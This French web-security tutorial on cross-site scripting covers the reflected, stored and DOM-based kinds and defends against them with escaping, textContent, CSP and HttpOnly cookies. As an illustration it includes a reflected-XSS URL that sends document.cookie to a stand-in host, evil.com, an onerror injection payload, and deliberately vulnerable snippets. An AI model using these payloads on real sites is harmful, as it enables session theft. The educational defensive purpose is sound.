Niveau Niveau confirmé

Les failles XSS

Articledéveloppement

Publié par (membre du staff)
le (55 lectures)

sécurité xss owasp

Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.

Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.

C'est quoi exactement, XSS ?

Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.

Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.

Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.

Les trois axes d'attaque XSS

1. XSS réfléchi (Reflected XSS)

La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.

2. XSS stocké (Stored XSS)

Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.

Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.

3. XSS basé sur le DOM (DOM-based XSS)

Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et 🧨.

Pourquoi ça marche encore de nos jours ?

Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.

Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.

Comment s'en protéger ?

Échapper les sorties

Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.

En PHP

htmlspecialchars() est fait pour ça :

// ❌ Dangereux
echo $_GET['name'];

// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');

htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient &lt;script&gt;alert(1)&lt;/script&gt; affiché comme du... texte, pas exécuté comme du code.

  • Toujours préciser ENT_QUOTES pour encoder aussi les guillemets simples
  • Toujours préciser l'encodage UTF-8 explicitement
  • Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)

Dans un attribut HTML :

<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

Dans une URL :

<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>

N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.

Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :

<script>
  const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.

En JavaScript (vanilla)

textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :

// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;

// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;

textContent n'interprète pas le HTML.

Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :

// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;

// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);

Méfiez-vous des sources de données non fiables.

// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;

// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);

La Content Security Policy (CSP)

Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.

La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.

Les attributs HttpOnly et Secure sur les cookies

Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly : le cookie n'est pas accessible via JavaScript
  • Secure : le cookie n'est transmis que sur HTTPS
  • SameSite=Strict : le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)

Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.

Récapitulatif

Contexte Risque Solution
PHP 👉 HTML Injection de balises htmlspecialchars() avec ENT_QUOTES
PHP 👉 URL Injection dans href/src urlencode()
PHP 👉 JavaScript Injection dans scripts inline json_encode() avec flags
JS vanilla 👉 DOM innerHTML avec données externes textContent
Tous Script injecté exécuté CSP + cookies HttpOnly

Pour aller plus loin

Rodolphe fait partie de l'agence Alsacréations, contactez-nous pour des projets de qualité !

Commenter

Vous devez être inscrit et identifié pour utiliser cette fonction.

Connectez-vous

Oubli de mot de passe ? Pas de panique, on va le retrouver

Pas encore inscrit ? C'est très simple et gratuit.